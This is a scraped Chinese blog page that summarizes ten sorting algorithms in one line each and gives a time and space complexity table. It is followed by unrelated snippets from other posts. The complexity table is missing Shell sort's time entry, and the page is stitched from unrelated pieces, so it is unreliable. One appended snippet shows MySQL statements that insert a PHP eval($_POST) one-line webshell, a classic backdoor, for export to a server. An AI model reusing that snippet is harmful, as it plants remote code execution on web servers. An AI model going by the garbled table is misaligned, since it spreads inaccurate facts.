十大排序演算法一句話概括

2021-10-03 14:54:58 字數 960 閱讀 6418

氣泡排序:兩個相鄰元素比較,如果順序相反則交換位置。

插入排序:假設前面的數字都已經排好序,再向有序陣列中插入乙個元素,使得插入後的陣列有序。

選擇排序:選擇未排序陣列中最大或者最小的陣列放在前面。

希爾排序:按照增量不同,進行多次插入排序。

歸併排序:將兩個有序的陣列合併成乙個有序的陣列,運用分治演算法的思想解決排序問題。

堆排序:將陣列看成乙個堆,運用堆的性質完成排序。

快速排序:每次選擇陣列內第乙個數,將大於、小於它的數分別放到它的左邊、右邊。

計數排序:用雜湊表記錄數字出現的次數,再按順序輸出。

基數排序:從低位到高位利用計數排序的思想進行排序。

桶排序:用若干個區間為一定範圍的桶,將數放入對於桶內,當所有桶的數字不大於乙個時停止。

排序演算法

時間複雜度

空間複雜度

氣泡排序

o(n^2)

o(1)

插入排序

o(n^2)

o(1)

選擇排序

o(n^2)

o(1)

希爾排序

o(1)

歸併排序

o(n*logn)

o(n)

堆排序o(n*logn)

o(1)

快速排序

o(n*logn)

o(logn)

計數排序

o(n+k)

o(n)

基數排序

o(n*c)

o(n)

桶排序o(n*(logn-logm))

o(n+m)

排序演算法的穩定性是指相等值的順序在排序演算法執行之後是否會發生變化,如果不會發生變化則為穩定排序演算法,否則為非穩定排序演算法。

按照排序演算法的穩定性劃分,屬於穩定排序演算法的有氣泡排序,插入排序,歸併排序,計數排序,基數排序,桶排序。非穩定排序演算法的有選擇排序,希爾排序,堆排序,快速排序。

一句話概括

概念 主題中的區域 規劃下您的站點布局吧 開始做 之前先規劃下吧,但是常常規劃完還是要改的。農場的位址,指南和地圖 農場啥時候開門,營業時間 農場的歷史 商列表 每個 商的詳細資訊 能搜尋菜譜 每個菜的詳細資訊 最近新增的菜譜列表 第二步 哪些資訊該放在哪個頁面,或者活該放在哪個型別的頁面 所有頁面...

mysql 匯出一句話 MySQL 匯出一句話

drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...

一句話提醒

1 在c 中,父窗體要訪問子窗體變數,需將子窗體變數設為public才能訪問。2 每 5 秒重新整理頁面 5 秒後重定向頁面 3 block 此元素將顯示為塊級元素,此元素前後會帶有換行符。inline 預設。此元素會被顯示為內聯元素,元素前後沒有換行符。4 document.getelementb...